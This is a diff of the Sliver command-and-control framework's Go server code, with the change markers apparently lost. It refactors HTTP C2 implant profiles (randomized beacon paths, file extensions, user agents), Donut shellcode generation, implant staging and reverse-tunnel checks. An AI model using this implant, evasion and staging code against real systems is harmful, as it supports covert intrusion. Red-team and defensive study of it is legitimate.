params := make([]*clientpb.HTTPC2URLParameter, len(h.ImplantConfig.ExtraURLParameters))
for i, param := range h.ImplantConfig.ExtraURLParameters {
params[i] = param.ToProtobuf()
}
return &clientpb.HTTPC2ImplantConfig{
UserAgent: h.ImplantConfig.UserAgent,
ChromeBaseVersion: h.ImplantConfig.ChromeBaseVersion,
MacOSVersion: h.ImplantConfig.MacOSVersion,
NonceQueryArgChars: h.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: params,
}
}
// HttpC2ServerConfig - HTTP C2 Server Configuration
type HttpC2ServerConfig struct {
ID uuid.UUID `gorm:"primaryKey;->;<-:create;type:uuid;"`
@@ -111,23 +124,18 @@ type HttpC2ImplantConfig struct {
ExtraURLParameters []HttpC2URLParameter
Headers []HttpC2Header
// File/Path Generation subset size of the http config to select during generation
// see randomSample function
MaxFileGen int32
MinFileGen int32
MaxPathGen int32
MinPathGen int32
MaxFiles int32
MinFiles int32
MaxPaths int32
MinPaths int32
// implant configuration for path length
MaxPathLength int32
MinPathLength int32
StagerFileExtension string
PollFileExtension string
StartSessionFileExtension string
SessionFileExtension string
CloseFileExtension string
// gorm doesn not support string arrays apparently
Extensions string
PathSegments []HttpC2PathSegment
NonceQueryLength int32
NonceMode string
PathSegments []HttpC2PathSegment
}
func (h *HttpC2ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
@@ -149,23 +157,23 @@ func (h *HttpC2ImplantConfig) ToProtobuf() *clientpb.HTTPC2ImplantConfig {
pathSegments[i] = segment.ToProtobuf()
}
return &clientpb.HTTPC2ImplantConfig{
ID: h.ID.String(),
UserAgent: h.UserAgent,
ChromeBaseVersion: h.ChromeBaseVersion,
MacOSVersion: h.MacOSVersion,
NonceQueryArgChars: h.NonceQueryArgChars,
ExtraURLParameters: params,
Headers: headers,
MaxFileGen: h.MaxFileGen,
MinFileGen: h.MinFileGen,
MaxPathGen: h.MaxPathGen,
MinPathGen: h.MinPathGen,
MaxPathLength: h.MaxPathLength,
MinPathLength: h.MinPathLength,
Extensions: strings.Split(h.Extensions, ","),
PathSegments: pathSegments,
NonceQueryLength: h.NonceQueryLength,
NonceMode: h.NonceMode,
ID: h.ID.String(),
UserAgent: h.UserAgent,
ChromeBaseVersion: h.ChromeBaseVersion,
MacOSVersion: h.MacOSVersion,
NonceQueryArgChars: h.NonceQueryArgChars,
ExtraURLParameters: params,
Headers: headers,
MaxFiles: h.MaxFiles,
MinFiles: h.MinFiles,
MaxPaths: h.MaxPaths,
MinPaths: h.MinPaths,
StagerFileExtension: h.StagerFileExtension,
PollFileExtension: h.PollFileExtension,
StartSessionFileExtension: h.StartSessionFileExtension,
SessionFileExtension: h.SessionFileExtension,
CloseFileExtension: h.CloseFileExtension,
PathSegments: pathSegments,
}
}
@@ -263,9 +271,10 @@ func (h *HttpC2PathSegment) BeforeCreate(tx *gorm.DB) (err error) {
func (h *HttpC2PathSegment) ToProtobuf() *clientpb.HTTPC2PathSegment {
return &clientpb.HTTPC2PathSegment{
ID: h.ID.String(),
IsFile: h.IsFile,
Value: h.Value,
ID: h.ID.String(),
IsFile: h.IsFile,
SegmentType: clientpb.HTTPC2SegmentType(h.SegmentType),
Value: h.Value,
}
}
@@ -321,28 +330,29 @@ func HTTPC2ConfigFromProtobuf(pbHttpC2Config *clientpb.HTTPC2Config) *HttpC2Conf
pathSegments := []HttpC2PathSegment{}
for _, pathSegment := range pbHttpC2Config.ImplantConfig.PathSegments {
pathSegments = append(pathSegments, HttpC2PathSegment{
IsFile: pathSegment.IsFile,
Value: pathSegment.Value,
IsFile: pathSegment.IsFile,
SegmentType: int32(pathSegment.SegmentType),
Value: pathSegment.Value,
})
}
cfg.ImplantConfig = HttpC2ImplantConfig{
UserAgent: pbHttpC2Config.ImplantConfig.UserAgent,
ChromeBaseVersion: pbHttpC2Config.ImplantConfig.ChromeBaseVersion,
MacOSVersion: pbHttpC2Config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: pbHttpC2Config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: params,
Headers: implantHeaders,
MaxFileGen: pbHttpC2Config.ImplantConfig.MaxFileGen,
MinFileGen: pbHttpC2Config.ImplantConfig.MinFileGen,
MaxPathGen: pbHttpC2Config.ImplantConfig.MaxPathGen,
MinPathGen: pbHttpC2Config.ImplantConfig.MinPathGen,
MaxPathLength: pbHttpC2Config.ImplantConfig.MaxPathLength,
MinPathLength: pbHttpC2Config.ImplantConfig.MinPathLength,
Extensions: strings.Join(pbHttpC2Config.ImplantConfig.Extensions, ","),
PathSegments: pathSegments,
NonceQueryLength: pbHttpC2Config.ImplantConfig.NonceQueryLength,
NonceMode: pbHttpC2Config.ImplantConfig.NonceMode,
UserAgent: pbHttpC2Config.ImplantConfig.UserAgent,
ChromeBaseVersion: pbHttpC2Config.ImplantConfig.ChromeBaseVersion,
MacOSVersion: pbHttpC2Config.ImplantConfig.MacOSVersion,
NonceQueryArgChars: pbHttpC2Config.ImplantConfig.NonceQueryArgChars,
ExtraURLParameters: params,
Headers: implantHeaders,
MaxFiles: pbHttpC2Config.ImplantConfig.MaxFiles,
MinFiles: pbHttpC2Config.ImplantConfig.MinFiles,
MaxPaths: pbHttpC2Config.ImplantConfig.MaxPaths,
MinPaths: pbHttpC2Config.ImplantConfig.MinPaths,
StagerFileExtension: pbHttpC2Config.ImplantConfig.StagerFileExtension,
PollFileExtension: pbHttpC2Config.ImplantConfig.PollFileExtension,
StartSessionFileExtension: pbHttpC2Config.ImplantConfig.StartSessionFileExtension,
SessionFileExtension: pbHttpC2Config.ImplantConfig.SessionFileExtension,
CloseFileExtension: pbHttpC2Config.ImplantConfig.CloseFileExtension,
PathSegments: pathSegments,
}
// C2 Config
@@ -360,19 +370,18 @@ func RandomizeImplantConfig(h *clientpb.HTTPC2ImplantConfig, goos string, goarch
ExtraURLParameters: h.ExtraURLParameters,
Headers: h.Headers,
Extensions: h.Extensions,
PathSegments: RandomPathSegments(h),
UserAgent: GenerateUserAgent(goos, goarch, h.UserAgent, h.ChromeBaseVersion, h.MacOSVersion),
ChromeBaseVersion: h.ChromeBaseVersion,
MacOSVersion: h.MacOSVersion,
MinFileGen: h.MinFileGen,
MaxFileGen: h.MaxFileGen,
MinPathGen: h.MinPathGen,
MaxPathGen: h.MaxPathGen,
MinPathLength: h.MinPathLength,
MaxPathLength: h.MaxPathLength,
NonceQueryLength: h.NonceQueryLength,
NonceMode: h.NonceMode,
PollFileExtension: h.PollFileExtension,
StartSessionFileExtension: h.StartSessionFileExtension,
SessionFileExtension: h.SessionFileExtension,
CloseFileExtension: h.CloseFileExtension,
PathSegments: RandomPathSegments(h),
UserAgent: GenerateUserAgent(goos, goarch, h.UserAgent, h.ChromeBaseVersion, h.MacOSVersion),
ChromeBaseVersion: h.ChromeBaseVersion,
MacOSVersion: h.MacOSVersion,
MinFiles: h.MinFiles,
MaxFiles: h.MaxFiles,
MinPaths: h.MinPaths,
MaxPaths: h.MaxPaths,
}
}
@@ -433,31 +442,61 @@ func MacOSVer(MacOSVersion string) string {
func RandomPathSegments(h *clientpb.HTTPC2ImplantConfig) []*clientpb.HTTPC2PathSegment {
var (
paths []*clientpb.HTTPC2PathSegment
files []*clientpb.HTTPC2PathSegment
sessionPaths []*clientpb.HTTPC2PathSegment
closePaths []*clientpb.HTTPC2PathSegment
pollPaths []*clientpb.HTTPC2PathSegment
sessionFiles []*clientpb.HTTPC2PathSegment
closeFiles []*clientpb.HTTPC2PathSegment
pollFiles []*clientpb.HTTPC2PathSegment
)
for _, pathSegment := range h.PathSegments {
if pathSegment.IsFile {
files = append(files, pathSegment)
} else {
paths = append(paths, pathSegment)
switch pathSegment.SegmentType {
case 0:
if pathSegment.IsFile {
pollFiles = append(pollFiles, pathSegment)
} else {
pollPaths = append(pollPaths, pathSegment)
}
case 1:
if pathSegment.IsFile {
sessionFiles = append(sessionFiles, pathSegment)
} else {
sessionPaths = append(sessionPaths, pathSegment)
}
case 2:
if pathSegment.IsFile {
closeFiles = append(closeFiles, pathSegment)
} else {
closePaths = append(closePaths, pathSegment)
}
default:
continue
}
}
paths = RandomPaths(paths, h.MinPathGen, h.MaxPathGen)
files = RandomFiles(files, h.MinFileGen, h.MaxFileGen)
sessionPaths = RandomPaths(sessionPaths, h.MinPaths, h.MaxPaths)
pollPaths = RandomPaths(pollPaths, h.MinPaths, h.MaxPaths)
closePaths = RandomPaths(closePaths, h.MinPaths, h.MaxPaths)
sessionFiles = RandomFiles(sessionFiles, h.MinFiles, h.MaxFiles)
closeFiles = RandomFiles(closeFiles, h.MinFiles, h.MaxFiles)
pollFiles = RandomFiles(pollFiles, h.MinFiles, h.MaxFiles)
var res []*clientpb.HTTPC2PathSegment
res = append(res, paths...)
res = append(res, files...)
res = append(res, sessionPaths...)
res = append(res, closePaths...)
res = append(res, pollPaths...)
res = append(res, sessionFiles...)
res = append(res, closeFiles...)
res = append(res, pollFiles...)
return res
}
func RandomFiles(httpC2PathSegments []*clientpb.HTTPC2PathSegment, MinFileGen int32, MaxFileGen int32) []*clientpb.HTTPC2PathSegment {
if MinFileGen < 1 {
MinFileGen = 1
func RandomFiles(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minFiles int32, maxFiles int32) []*clientpb.HTTPC2PathSegment {
if minFiles < 1 {
minFiles = 1
}
return randomSample(httpC2PathSegments, MinFileGen, MaxFileGen)
return randomSample(httpC2PathSegments, minFiles, maxFiles)
}
func RandomPaths(httpC2PathSegments []*clientpb.HTTPC2PathSegment, minPaths int32, maxPaths int32) []*clientpb.HTTPC2PathSegment {
+2 -8
View File
@@ -20,7 +20,6 @@ package models
import (
"net/url"
"strings"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -137,7 +136,8 @@ func ImplantBuildFromProtobuf(ib *clientpb.ImplantBuild) *ImplantBuild {
WGImplantPrivKey: ib.WGImplantPrivKey,
WGServerPubKey: ib.WGServerPubKey,
Stage: ib.Stage}
Stage: ib.Stage,
}
return &build
}
@@ -168,7 +168,6 @@ type ImplantConfig struct {
MaxConnectionErrors uint32
ConnectionStrategy string
SGNEnabled bool
Exports string
// WireGuard
WGPeerTunIP string
@@ -208,7 +207,6 @@ type ImplantConfig struct {
NetGoEnabled bool
TrafficEncodersEnabled bool
Assets []EncoderAsset
Extension string
}
// BeforeCreate - GORM hook
@@ -286,8 +284,6 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
IncludeNamePipe: ic.IncludeNamePipe,
IncludeWG: ic.IncludeWG,
IncludeTCP: ic.IncludeTCP,
Extension: ic.Extension,
Exports: strings.Split(ic.Exports, ","),
}
if ic.ImplantProfileID != nil {
@@ -498,7 +494,6 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
cfg.IsShellcode = pbConfig.IsShellcode
cfg.RunAtLoad = pbConfig.RunAtLoad
cfg.DebugFile = pbConfig.DebugFile
cfg.Exports = strings.Join(pbConfig.Exports, ",")
cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
cfg.NetGoEnabled = pbConfig.NetGoEnabled
@@ -510,7 +505,6 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
Name: pbAsset.Name,
})
}
cfg.Extension = pbConfig.Extension
return &cfg
}
-2
View File
@@ -153,7 +153,6 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
return "", err
@@ -227,7 +226,6 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
return "", err
-1
View File
@@ -488,7 +488,6 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
ObfuscateSymbols: false,
Format: clientpb.OutputFormat_SHARED_LIB,
IsSharedLib: true,
Exports: []string{"StartW"},
WGPeerTunIP: "100.64.0.2",
WGKeyExchangePort: 1234,
WGTcpCommsPort: 5678,
+2 -6
View File
@@ -7,7 +7,6 @@ import (
"strings"
"github.com/Binject/go-donut/donut"
"github.com/bishopfox/sliver/server/configs"
)
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
@@ -35,9 +34,6 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
if createNewThread {
thread = 1
}
serverConf := configs.GetServerConfig()
donutArch := getDonutArch(arch)
// We don't use DonutConfig.Thread = 1 because we create our own remote thread
// in the task runner, and we're doing some housekeeping on it.
@@ -51,8 +47,8 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
Parameters: params,
Class: className,
Method: method,
Bypass: serverConf.DonutBypass, // 1=skip, 2=abort on fail, 3=continue on fail.
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
Bypass: 3, // 1=skip, 2=abort on fail, 3=continue on fail.
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
Arch: donutArch,
Entropy: 0, // 1=disable, 2=use random names, 3=random names + symmetric encryption (default)
Compress: uint32(1), // 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman
-16
View File
@@ -33,22 +33,6 @@ func SliverExternal(name string, config *clientpb.ImplantConfig) (*clientpb.Exte
config.IncludeNamePipe = models.IsC2Enabled([]string{"namedpipe"}, config.C2)
config.IncludeTCP = models.IsC2Enabled([]string{"tcppivot"}, config.C2)
// set file extension for external builds
if config.IsSharedLib {
switch config.GOOS {
case WINDOWS:
config.Extension = ".dll"
case DARWIN:
config.Extension = ".dylib"
case LINUX:
config.Extension = ".so"
}
} else {
if config.GOOS == WINDOWS {
config.Extension = ".exe"
}
}
build, err := GenerateConfig(name, config)
if err != nil {
return nil, err
+2 -7
View File
@@ -226,15 +226,10 @@ func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte
req := &sliverpb.TunnelData{}
proto.Unmarshal(data, req)
remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)
if !rtunnels.Check(session.ID, remoteAddress) {
sessionHandlerLog.Errorf("Session %s attempted to create reverse tunnel to %s without being initiated by a client", session.ID, remoteAddress)
return nil
}
defer rtunnels.DeletePending(session.ID)
var defaultDialer = new(net.Dialer)
remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)
ctx, cancelContext := context.WithCancel(context.Background())
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
+2 -4
View File
@@ -109,10 +109,8 @@ func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTas
return nil, ErrInvalidBeaconTaskID
}
if task.State == models.PENDING {
err = db.Session().Model(&models.BeaconTask{}).
Where("id=?", task.ID).
Updates(map[string]interface{}{"state": models.CANCELED}).
Error
task.State = models.CANCELED
err = db.Session().Save(task).Error
if err != nil {
beaconRpcLog.Errorf("Database error: %s", err)
return nil, ErrDatabaseFailure
+12 -5
View File
@@ -59,8 +59,18 @@ func (rpc *Server) SaveHTTPC2Profile(ctx context.Context, req *clientpb.HTTPC2Co
return nil, err
}
if req.Overwrite && req.C2Config.Name == "" {
return nil, configs.ErrMissingC2ProfileName
profileName := ""
if req.Overwrite {
profileName = req.C2Config.Name
}
err = db.SearchStageExtensions(req.C2Config.ImplantConfig.StagerFileExtension, profileName)
if err != nil {
return nil, err
}
err = db.SearchStartSessionExtensions(req.C2Config.ImplantConfig.StartSessionFileExtension, profileName)
if err != nil {
return nil, err
}
httpC2Config, err := db.LoadHTTPC2ConfigByName(req.C2Config.Name)
@@ -72,9 +82,6 @@ func (rpc *Server) SaveHTTPC2Profile(ctx context.Context, req *clientpb.HTTPC2Co
}
if req.Overwrite {
if httpC2Config.Name == "" {
return nil, configs.ErrC2ProfileNotFound
}
err = db.HTTPC2ConfigUpdate(req.C2Config, httpC2Config)
if err != nil {
log.Printf("Error:\n%s", err)
+4 -19
View File
@@ -68,7 +68,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
if err != nil {
return nil, err
}
} else if err := util.AllowedName(req.Name); err != nil {
} else if err := util.AllowedName(name); err != nil {
return nil, err
} else {
name = req.Name
@@ -91,10 +91,6 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
config.IncludeTCP = models.IsC2Enabled([]string{"tcppivot"}, config.C2)
}
if len(config.Exports) == 0 {
config.Exports = []string{"StartW"}
}
// generate config
build, err := generate.GenerateConfig(name, config)
if err != nil {
@@ -158,11 +154,6 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
return nil, status.Error(codes.InvalidArgument, "invalid implant name")
}
config, err := db.ImplantConfigByID(build.ImplantConfigID)
if err != nil {
return nil, err
}
fileData, err := generate.ImplantFileFromBuild(build)
if err != nil {
return nil, err
@@ -170,7 +161,7 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
return &clientpb.Generate{
File: &commonpb.File{
Name: build.Name + config.Extension,
Name: build.Name,
Data: fileData,
},
}, nil
@@ -349,7 +340,7 @@ func (rpc *Server) GenerateExternal(ctx context.Context, req *clientpb.ExternalG
if err != nil {
return nil, err
}
} else if err := util.AllowedName(req.Name); err != nil {
} else if err := util.AllowedName(name); err != nil {
return nil, err
} else {
name = req.Name
@@ -393,7 +384,6 @@ func (rpc *Server) GenerateExternalSaveBuild(ctx context.Context, req *clientpb.
rcpGenLog.Errorf("Failed to write implant binary to temp file: %s", err)
return nil, status.Error(codes.Internal, "Failed to write implant binary to temp file")
}
rpcLog.Infof("Saving external build '%s' from %s", req.Name, tmpFile.Name())
err = generate.ImplantBuildSave(implantBuild, implantConfig, tmpFile.Name())
if err != nil {
@@ -709,10 +699,6 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
return nil, err
}
if len(profile.Config.Exports) == 0 {
profile.Config.Exports = []string{"StartW"}
}
// generate config
build, err := generate.GenerateConfig(name, profile.Config)
if err != nil {
@@ -755,11 +741,10 @@ func (rpc *Server) GenerateStage(ctx context.Context, req *clientpb.GenerateStag
if req.PrependSize {
fileData = prependPayloadSize(fileData)
}
stage2 = fileData
if req.Compress != "" {
stageType = req.Compress + " - "
stage2, err = Compress(stage2, req.Compress)
stage2, err = Compress(fileData, req.Compress)
if err != nil {
return nil, err
}
+5 -5
View File
@@ -129,7 +129,7 @@ func (rpc *Server) StartMTLSListener(ctx context.Context, req *clientpb.MTLSList
Type: constants.MtlsStr,
MTLSConf: req,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -180,7 +180,7 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
Type: constants.WGStr,
WGConf: req,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -205,7 +205,7 @@ func (rpc *Server) StartDNSListener(ctx context.Context, req *clientpb.DNSListen
Type: constants.DnsStr,
DNSConf: req,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -237,7 +237,7 @@ func (rpc *Server) StartHTTPSListener(ctx context.Context, req *clientpb.HTTPLis
Type: constants.HttpsStr,
HTTPConf: req,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
return nil, err
}
@@ -269,7 +269,7 @@ func (rpc *Server) StartHTTPListener(ctx context.Context, req *clientpb.HTTPList
Type: constants.HttpStr,
HTTPConf: req,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
return nil, err
}
-2
View File
@@ -23,7 +23,6 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core/rtunnels"
)
// GetRportFwdListeners - Get a list of all reverse port forwards listeners from an implant
@@ -39,7 +38,6 @@ func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.Rport
// StartRportfwdListener - Instruct the implant to start a reverse port forward
func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
rtunnels.AddPending(req.Request.SessionID, req.ForwardAddress)
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
-13
View File
@@ -22,10 +22,8 @@ import (
"context"
"net"
"github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/c2"
"github.com/bishopfox/sliver/server/db"
)
// StartTCPStagerListener starts a TCP stager listener
@@ -38,17 +36,6 @@ func (rpc *Server) StartTCPStagerListener(ctx context.Context, req *clientpb.Sta
if err != nil {
return nil, err
}
listenerJob := &clientpb.ListenerJob{
JobID: uint32(job.ID),
Type: constants.StageListenerStr,
TCPConf: req,
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
}
return &clientpb.StagerListener{JobID: uint32(job.ID)}, nil
}
Loaded 100 of 440 files, more files were not shown because too many files have changed in this diff. Show more